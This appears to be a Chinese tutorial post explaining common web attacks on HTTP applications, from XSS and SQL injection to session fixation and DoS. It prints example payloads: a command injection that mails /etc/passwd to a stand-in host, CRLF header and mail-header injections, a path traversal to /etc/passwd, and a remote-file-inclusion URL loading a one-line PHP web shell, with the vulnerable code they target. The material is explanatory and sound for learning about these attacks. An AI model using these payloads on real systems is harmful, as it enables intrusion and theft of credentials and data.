HTTP网络协议(五)
主动攻击:是指攻击通过直接访问Web应用,把攻击代码传入的攻击模式,该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源,例如:SQL注入攻击和OS命令注入攻击。
被动攻击:是指利用圈套策略执行攻击代码的攻击模式,在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击,例如:跨站脚本攻击和跨站点请求伪造。
被动攻击模式大致步骤:
- 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
- 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
- 中招后的用户浏览器把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
- 执行完攻击代码,存在安全漏洞的Web用用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登陆状态的用户权限遭恶意滥用等后果。
跨站脚本攻击(XSS):是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击会带来以下几点影响:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
例如:
SQL注入攻击是指指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该攻击可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
SQL注入攻击影响一般有以下几点:
- 非法查看或篡改数据库内的数据。
- 规避认证。
- 执行和数据库服务器业务关联的程序。
例如:
OS命令注入攻击是指通过Web应用执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。
用户要填写的表单:
处理表单的部分核心代码:
my $adr =$q->param('mailaddress')
open (MALL,"| /user/sbin/sendmail $adr");
print MALL "From: info@example.com\n";
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr 的值。
攻击者篡改指定的值如下:
;cat /etc/passwd | mail hack@example.jp
程序接受该值,会构成以下的命令组合:
| /user/sbin/sendmail ; cat/etc/passwd |mail hack@example.jp
攻击者的输入值中含有分号(;),这个符号在OS命令中,会被解析为分隔多个执行命令的标记,因此该程序就会以邮件的形式发送给了hack@example.jp。
HTTP首部注入攻击是指攻击通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击,属于被动攻击模式。
HTTP首部注入攻击可能会带来以下几点影响:
- 设置任何Cookie信息。
- 重定向至任意URL。
- 显示任意的主体(HTTP响应截断攻击)
HTTP首部注入设置Cookie信息案例:
一旦用户选定类型别,就会在该ID值反映在响应内,比如:选择书籍类别,那么响应内的Locating首部字段就是http://example.com/?id=101,而令浏览器发生重定向跳转。
攻击者篡改选择的内容的类别ID后发送请求:
101%0D%0ASet-Cookie:+SID=123456
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456的Set-Cookie首部字段,发送请求之后,返回以下的响应:
Locating:http://example.com/?id=101(%0D%0A换行符)
Set-Cookie:+SID=123456
此刻字段Set-Cookie已生效,这样一来可以通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,伪装成用户。
HTTP响应截断案例:
比如攻击者在HTTP首部注入以下代码:
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容<!
发送该请求的后,得到返回的响应如下:
Set-Cookie:UID=(%0D%0A换行符)
(%0D%0A换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容<!--(原来页面对应的首部字段和主体部分诠释为注释)
邮件首部注入攻击:是指Web应用中的邮件发送功能,攻击者通过向邮件首部TO或Subject内任意添加非法内容发起的攻击。
用户填写的表单:
攻击者将以下数据作为邮件地址发送请求:
bob@hackr.jp%0D%0ABcc: user@example.com
一旦咨询表单所在的Web应用接受了这个换行符,就可能实现对Bcc邮件地址追加发送。
目录遍历攻击:是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的一种攻击,这种攻击有时也称为路径遍历攻击。
假设用户要通过以下URI读取指定的文件:
http://example.com/read.PHP?log=0401.log
这个就会从 www/log/文件目录下读取0401.log文件。
攻击者篡改并设置如下的地址发送请求:
http://example.com/read.php?log=../../etc/passwd
那么就会从/www/log/目录开始定位相对路径,读取/ect/password文件。
远程文件包含漏洞:是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
案例:
通过下面的URI读入查询字段指定的文件:
http://example.com/foo.php?mod=news.php
http://example.com/foo.php对应脚本的源码:
$modname=$_GET['mod'];
include($modname);
攻击者篡改为下面形式的URL后发出请求:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
http://hackr.jp/cmd.php的源码:
<?system($_GET['cmd])?>
这样一来通过system函数就能够在example.com服务器上执行OS命令和cmd=ls显示文件及目录信息来达到目的了。
强制浏览安全漏洞:是指从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览安全漏洞会带来一下几点影响:
- 泄露顾客的个人信息等重要情报。
- 泄露原本需要具有访问权限的用户才可以查阅的信息内容。
- 泄露未外连到外界的文件。
案例:
尽管用户设置权限只有自己可见,但没有对其账户信息有访问权限的人来说,只要拿到这图片的URI,通过直接指定URL<img src=”http://csnd.com/beyondboy/img/1255.jpg”>就可以访问其显示的图片了。
不正确的错误消息处理的安全漏洞:是指Web应用的错误信息内容包含对攻击者有用的信息,比如:Web应用抛出的错误消息,数据库等系统抛出的错误消息。
开放重定向的安全漏洞:是一种对指定的任意URL作重定向跳转的功能,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会诱导至那个Web网站。
案例:
本来的URL发生重定向的地址:
http://example.com/?redirect=http://www.tricorder.jp
攻击者篡改URL将重定向设置为已设好陷阱的Web网站对应的连接,如下:
http://example.com/?redirect=http://hackr.jp
会话劫持:是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的,一般手段有这些:通过非正规的生成方法推测会话ID,通过窃听或XSS攻击盗取会话ID,通过会话固定攻击强行获取会话ID。
案例:
会话固定攻击:强制用户使用攻击者指定的会话ID,属于被动攻击,大致步骤:
- 攻击者准备陷阱,先访问Web网站拿到会话ID(SID=fgf556655),此刻会话ID在服务器上的记录仍是为认证状态。
- 攻击者设置好用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证,一旦用户触发陷阱并完成认证,会话ID(SID=fgf556655)在服务器上的状态(用户A已认证)就会被记录下来。
- 攻击者估计用户差不多已触发陷阱后,在利用之前这个会话ID访问网站。
整个过程如图:
跨站点请求伪造攻击:是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造攻击一般会带来以下几点影响: - 利用已通过认证的用户权限更新设定信息等。
- 利用已通过认证的用户权限购买商品。
- 利用已通过认证的用户权限在留言板上发表言论。
案例:
密码破解攻击:计算出密码,突破认证,一般有两种手段:通过网络的密码试错,对已加密密码的破解(指攻击者侵入系统,已获得加密或散列处理的密码数据的情况。)
点击劫持:是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段,这种行为又称为界面伪装。
如图:
Dos攻击:是一种让运行中的服务呈停止状态的攻击,有时也叫做服务停止攻击或拒绝服务攻击(多台计算同时发起Dos攻击叫做DDos攻击).
Dos攻击方式有以下两种:
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也呈停止状态。
- 通过攻击安全漏洞使服务停止。
后门程序:是指开发设置的隐藏入口,可不按正常步骤使用受限功能。
后门程序有以下3种类型:
- 开发阶段作为Debug调用的后门程序。
- 开发者为自身利益植入的后门程序。
- 攻击者通过某种方法设置的后门程序。
HTTP网络协议(五)的更多相关文章
- 网络协议 7 - UDP 协议:性善碰到城会玩
网络协议五步登天路,我们一路迈过了物理层.链路层,今天终于到了传输层.从这一层开始,很多知识应该都是服务端开发必备的知识了,今天我们就一起来梳理下. 其实,讲到 UDP,就少不了 TC ...
- 网络协议 7 - UDP 协议
网络协议五步登天路,我们一路迈过了物理层.链路层,今天终于到了传输层.从这一层开始,很多知识应该都是服务端开发必备的知识了,今天我们就一起来梳理下. 其实,讲到 UDP,就少不了 TCP.这俩 ...
- Java 面试知识点解析(五)——网络协议篇
前言: 在遨游了一番 Java Web 的世界之后,发现了自己的一些缺失,所以就着一篇深度好文:知名互联网公司校招 Java 开发岗面试知识点解析 ,来好好的对 Java 知识点进行复习和学习一番,大 ...
- 基础笔记(三):网络协议之Tcp、Http
目录 一.网络协议 二.TCP(Transmission Control Protocol,传输控制协议) TCP头格式 TCP协议中的三次握手和四次挥手 TCP报文抓取工具 三.HTTP(Hyper ...
- linux网络协议
网络协议 本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 ...
- HTTP协议 (五) 代理
HTTP协议 (五) 代理 阅读目录 什么是代理服务器 Fiddler就是个典型的代理 代理作用一:FQ 代理作用二:匿名访问 代理作用三:通过代理上网 代理作用四:通过代理缓存,加快上网速度 代理作 ...
- linux 网络协议分析---3
本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 网络接口层 ...
- Linux网络编程(五)
/*Linux网络编程(五)——多路IO复用之select() 网络编程中,使用IO复用的典型场合: 1.当客户处理多个描述字时(交互式输入以及网络接口),必须使用IO复用. 2.一个客户同时处理多个 ...
- Wireshark网络抓包(三)——网络协议
一.ARP协议 ARP(Address Resolution Protocol)地址解析协议,将IP地址解析成MAC地址. IP地址在OSI模型第三层,MAC地址在OSI第二层,彼此不直接通信: 在通 ...
随机推荐
- 【J-meter】参数及相应数据中文显示乱码问题
参考资料: http://www.51testing.com/html/00/130600-1360743.html http://www.cnblogs.com/fengpingfan/p/5851 ...
- 使用IntelliJ IDEA开发前的基本设置,有助于提高开发效率
2.界面字体大小设置 File菜单->Settings->Appearance->Override default fonts by(not recommended): Name:宋 ...
- C语言的有符号与无符号,二进制整数的扩展与截断
C语言的有符号与无符号,二进制整数的扩展与截断 前一节说了整数的表示方式,,也就是无符号编码与补码编码.这一届说一下二进制整数的扩展与截断,这部分内容与C语言挂钩.so,我们先看下面C语言的有符号和无 ...
- RvmTranslator6.1 - Attribute List
RvmTranslator6.1 - Attribute List eryar@163.com 1. Introduction RvmTranslator can translate the RVM ...
- Image与byte[]数组的相互转换
近期项目有个需求是关于图片操作的,须要将图片保存到数据库中.经过尝试才知道Image类型文件是不能直接存储到数据库中的.保存之前须要我们做一步转换:将Image转换成字节数组类型Byte ...
- jQuery08源码 (5140 , 6057) DOM操作 : 添加 删除 获取 包装 DOM筛选
jQuery.fn.extend({ //$('ul').find('li').css('background','red'); //$('ul').find( $('li') ).css('back ...
- terminfo 数据库?
什么是 terminfo 数据库? UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性.UNIX ...
- Java中join和yield的作用
本文来自http://blog.csdn.net/liuxian13183/ ,引用必须注明出处! 1. A.join,在API中的解释是,堵塞当前线程B,直到A执行完毕并死掉,再执行B. 用一个 ...
- Java总结之线程
[线程的基本概念] 线程是一个程序内部的顺序控制流. 线程和进程的差别: 每一个进程都有独立的代码和数据空间(进程上下文),进程间的切换会有较大的开销. 线程能够看成是轻量级的进程,同一类线程 ...
- Android中关于JNI 的学习(零)简单的样例,简单地入门
Android中JNI的作用,就是让Java可以去调用由C/C++实现的代码,为了实现这个功能.须要用到Anrdoid提供的NDK工具包,在这里不讲怎样配置了,好麻烦,配置了好久. . . 本质上,J ...